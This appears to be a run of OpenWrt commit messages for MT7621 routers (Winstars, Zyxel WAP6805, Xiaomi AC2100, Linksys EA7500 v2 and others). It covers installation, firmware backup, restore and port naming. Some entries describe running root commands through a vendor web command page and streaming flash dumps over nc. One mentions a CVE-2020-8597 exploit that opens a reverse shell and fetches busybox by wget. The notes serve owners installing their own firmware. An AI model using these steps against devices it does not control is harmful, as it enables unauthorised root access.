The Winstars WS-WN583A6 is a wireless repeater with 2 gigabit ethernet
ports. Even if mine is branded as "Gemeita AC2100", the sticker on the
back says WS-WN583A6. So I will refer to it as Winstars WS-WN583A6.
Probably the real product name is the Wavlink WL-WN583A6 because of
the many references to Wavlink in the OEM firmware and bootlog.

Everything works correctly.
Currently there is no firmware update available. Because of this, in
order to restore the OEM firmware, you must firstly dump the OEM
firmware from your router before you flash the OpenWrt image.
Backup the OEM Firmware
-----------------------
The following steps are to be intended for users having little to none
experience in linux. Obviously there are many ways to backup the OEM
firmware, but probably this is the easiest way for this router.
Procedure tested on M83A6.V5030.191210 firmware version.
1) Go to http://192.168.10.1/webcmd.shtml
2) Type the following line in the "Command" input box:
mkdir /etc_ro/lighttpd/www/dev; for i in /dev/mtd*ro; do dd if=${i} of=/etc_ro/lighttpd/www${i}; done
3) Click "Apply"
4) After few seconds, in the textarea should appear this output:

dd: can't open '/dev/mtd5ro': No such device
dd: can't open '/dev/mtd6ro': No such device
dd: can't open '/dev/mtd7ro': No such device
Excluding the "X.XXXXXX seconds" part, you should get the same
exact output. If your output doesn't match mine, stop reading
and ask for help in the forum.
5) Open the following links to download the partitions of the OEM FW:
http://192.168.10.1/dev/mtd0rohttp://192.168.10.1/dev/mtd1rohttp://192.168.10.1/dev/mtd2rohttp://192.168.10.1/dev/mtd3rohttp://192.168.10.1/dev/mtd4ro
If one (or more) of these files weight 0 byte, stop reading and ask
for help in the forum.
6) Store these downloaded files in a safe place.
7) Reboot your router to remove any temporary file from your router.
Installation
------------
Flash the initramfs image in the OEM firmware interface.
When openwrt boots, flash the sysupgrade image otherwise you won't be
able to keep configuration between reboots.
Restore OEM Firmware
--------------------
Flash the "mtd4ro" file you previously backed-up directly from LUCI.
Warning: Remember to not keep settings!
Warning2: Remember to force the flash.
Notes
-----
1) The "System Command" page allows to run every command as root.
For example you can use "dd" and "nc" to backup the OEM firmware.
PC (SERVER):
nc -l 5555 > ./mtdXro
ROUTER (CLIENT):
dd if=/dev/mtdXro | nc PC_IP_ADDRESS 5555
2) The OEM web interface accepts only images containing the string
"WN583A6" in the filename.
Currently the OEM interface accepts only the initramfs image
probably because it checks if the ih_size in the image header is
equal to the whole image size (instead of the kernel size)
Read more here:
https://forum.openwrt.org/t/support-for-strong-1200/22768/19
3) The white led (namely "Smart Night Light") can be controller by the
user only if the side switch is set to "Schedule" otherwise it will
be activated by the light condition (there is a photodiode on the
top side of the router)

Everything works! Been running it for a couple weeks now and haven't had
any problems. Please let me know if you run into any.
Installation:
Flash factory image through GUI.
This might fail due to the A/B nature of this device. When flashing, OEM
firmware writes over the non-booted partition. If booted from 'A',
flashing over 'B' won't work. To get around this, you should flash the
OEM image over itself. This will then boot the router from 'B' and
allow you to flash OpenWRT without problems.
Reverting to factory firmware:
Hard-reset the router three times to force it to boot from 'B.' This is
where the stock firmware resides. To remove any traces of OpenWRT from
your router simply flash the OEM image at this point.

Flash: 128M NAND
RAM: 64M
LED: Dual colour red and green
BTN: Reset

Eth: 4 x 10/100/1000 connected to MT7621 internal switch
MT7621 RGMII port connected to Quantenna module
GPIO: Power/reset of Quantenna module
Quantenna module
----------------
The Quantenna QT3840BC (or QV840) is a separate SoC running
another Linux installation. It is mounted on a wide mini-PCIe
form factor module, but is connected to the RGMII port of
the MT7621. It loads both a second uboot stage and an os
image from the MT7621 using tftp. The module is configured
using Quantenna specific RPC calls over IP, using 802.1q
over the RGMII link to support multiple SSIDs.
There is no support for using this module as a WiFi device
in OpenWrt. A package with basic firmware and management
tools is being prepared.
Serial ports
------------
Two serial ports with headers:
RRJ1 - 115200 8N1 - Connected to the Quantenna console
J1 - 57600 8N1 - Connected to the MT7621 console
Both share pinout with many other Zyxel/Mitrastar devices:
1 - NC (VDD)
2 - TX
3 - RX
4 - NC (no pin)
5 - GND
Dual system partitions
----------------------
The vendor firmware and boot loader use a dual partition
scheme storing a counter in the header of each partition. The
partition with the highest number will be selected for boot.
OpenWrt does not support this scheme and will always use the
first OS partition. It will reset both counters to zero the
first time sysupgrade is run, making sure the first partition
is selected by the boot loader.
Installation from vendor firmware
---------------------------------
1. Run a DHCP server. The WAP6805 is configured as a client device
and does not have a default static IP address. Make a note of
which address it is assigned
2. tftp the OpenWrt initramfs-kernel.bin image to this address.
Wait for the WAP6805 to reboot.
3. ssh to the OpenWrt initramfs system on 192.168.1.1. Make a
backup of all mtd partitions now. The last used OEM image is
still present in either "Kernel" or "Kernel2" at this point,
and can be restored later if you save a copy.
4. sysupgrade to the OpenWrt sysupgrade.bin image.
Installation from U-Boot
------------------------
This requires serial console access
1. Copy the OpenWrt initramfs-kernel.bin image as "ras.bin" to
your tftp server directory. Configure the server address as
192.168.0.33/24
2. Hit ESC when the message "Hit ESC key to stop autoboot"
appears
3. Type "ATGU" + Enter, and then "2" immediately after pressing enter.
4. Answer Y to the question "Erase Linux in Flash then burn new
one. Are you sure?", and answer the address/filename questions.
Defaults:
Input device IP (192.168.0.2)
Input server IP (192.168.0.33)
Input Linux Kernel filename ("ras.bin")
5. Wait until after you see the message "Done!" and power cycle
the device. It will hang after flashing.
6. Continue with step 3 and 4 from the vendor firmware procedure.
Notes on the WAP6805 U-Boot
---------------------------
The bootloader has been modified with both ZyXELs zyloader and the
device specific dual partition scheme. These changes appear to have
broken a few things. The zyloader shell claims to support a number
of ZyXEL AT commands, but not all of them work. The image selection
scheme is unreliable and inconsistent. A limited U-Boot menu is
available - and used by the above U-Boot install procedure. But
direct booting into an uploaded image does not work, neither with
ram nor with flash. Flashing works, but requires a hard reset after
it is finished.
Reverting to OEM firmware
-------------------------
The OEM firmware can be restored by using mtd write from OpenWrt,
flashing it to the "Kernel" partition. E.g.
ssh root@192.168.1.1 "mtd -r -e Kernel write - Kernel" < oem.bin
OEM firmwares for the WAP6805 are not avaible for public download,
so a backup of the original installation is required. See above.
Alternatively, firmware for the WAP6806 (Armor X1) may be used. This
is exactly the same hardware. But the branding features do obviously
differ.
LED controller
--------------
Hardware implementation is unknown. The dual-color LED is controlled
by 3 GPIOs:
4: red
7: blinking green
13: green
Enabling both red and green makes the LED appear yellow.
The boot loader enables hardware blinking, causing the green LED to blink
slowly on power-on, until the OpenWrt boot mode starts a faster software
blink.

-----
The wifi led in the OEM firmware changes colour depending on the signal
strength. This can be done in OpenWrt but just for one interface.
So for now will not be any default action for this led.

Unfortunately, I can't find an easy way to recover the RE
without opening the device and using modified binaries. The
TFTP upload will only work if selected from u-boot, which
means you have to open the device and attach to the serial
console. The TFTP update procedure does *not* accept the
published vendor firmware binaries. However, it allows to
flash kernel + rootfs binaries, and this works if you have
a backup of the original contents of the flash. It's probably
possible to create special image out of the vendor binaries
and use that as recovery image.

This partially reverts commit 5acd1ed0be ("ramips: mt7621: fix
Ubiquiti ER-X ports names and MAC addresses"), this change was discussed
in https://github.com/openwrt/openwrt/pull/2901#discussion_r407238452
With commit 5acd1ed0be ("ramips: mt7621: fix Ubiquiti ER-X ports names
and MAC addresses"), all the ports were put into the LAN bridge, with
the argument that the OEM firmware does not have a WAN port enabled. In
the default OEM setup, all of the ports except eth0 are dead and eth0 is
set to a static IP address without providing DHCP services when
connected. It is only after the wizard has been run that eth0 becomes
the WAN port and all the rest of the ports belong to LAN with DHCP
enabled.
Having all of the ports set to the LAN bridge does not mirror the default
OEM setup. To accomplish that, then only eth0 would be in the LAN bridge.
But this is not the expected behaviour of OpenWrt.
Therefore this proposal to set eth0 to WAN and eth1-N to LAN provides
the expected behaviour expected from OpenWrt, maintains the current
documentation as up-to-date, and does not require the user to manually
detach eth0 from the LAN bridge, create the WAN(6) interface(s), and set
eth0 to the WAN(6) interface(s).

Exploit and detailed instructions:
https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100
An implementation of CVE-2020-8597 against stock firmware version 1.0.14
This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.
As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.
The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox

The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.
Hardware
--------
SoC: Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM: 256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH: 5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
- 2.4GHz: 1x MT7615N (4x4:4)
- 5GHz: 1x MT7615N (4x4:4)
- 4 antennas: 3 external detachable antennas and 1 internal
USB:
- 1x USB 3.0
- 1x USB 2.0
BTN:
- 1x Reset button
- 1x WPS button
LEDS:
- 1x White led (Power)
- 6x Green leds (link lan1-lan4, link wan, wps)
- 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)
Everything works correctly.
Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.
However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).
After this, you should be back in the OEM firmware.
Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).
When the router reboots flash the “factory” OpenWrt image and this
time it should work.
After the OpenWrt installation you have to use the sysupgrade image
for future updates.
Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.
Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
1) "kernel" and "rootfs"
2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.
This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.
A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.
Another way to switch the boot partition is:
1) power on the router
2) wait 15 seconds
3) power off the router
4) repeat steps 1-2-3 twice more.
5) power on the router and you should be in the “other” firmware
In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.
Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.
However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.
If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.

As evidenced here[1] the device MAC address can be stored at a random
offset in the hard_config partition. Rely on sysfs to update the MAC
address correctly.
Adjust config so that WAN is base MAC and LAN is base MAC +1 to better
match label and vendor OS.

SFP cage of this device is connected via a AT8031 phy to port 5 of the switch.
This phy act as a RGMII-to-SerDes converter.
Also a I2C clock gate needs to be enabled in order to access the SFP module via I2C bus.
SFP cage also has module detect pin which is connected to I2C gpio expander.
With this patch the kernel/PHYLINK now can detect, readout and use the SFP module/port.
NOTE: SFP cage / AT8033 PHY only support 1000base-X encoding!
This means that some SGMII modules can work and only at forced 1GBit/full-duplex!

The "proper" vendor prefix for Ubiquiti is "ubnt", this is used in
all targets except ramips and also recommended by the kernel.
This patch adjusts the various board/image/device name variables
accordingly. Since we touch it anyway, this also adds the space
in "EdgeRouter X" as a hyphen to those variables to really make
them consistent with the model name.
While at it, create a real shared definition for the devices in

So far, image/device/board names for Mikrotik devices in mt7621 have
been used quite inconsistently.
This patch harmonizes the naming scheme by applying the same style
as used lately in ath79, i.e. using "RouterBOARD" as separate word
in the model name (instead of RB prefix for the number) and deriving
the board/device name from that (= make lower case and replace spaces
by hyphens).
This style has already been used for most the model/DEVICE_MODEL
variables in mt7621, so this is essentially just adjusting the remaining
variables to that.

The name of each user port should be eth0..4, instead of lan1..4
and there is no WAN port. Rename them to match the official firmware.
To avoid conflict with the master port (gmac0), rename it to "dsa".
The official firmware assigns MAC address in this way:
eth0 = label mac
eth1 = label mac + 1
...
eth4 = label mac + 4
Since we have switched to DSA, it's possible to use different MAC for each port.
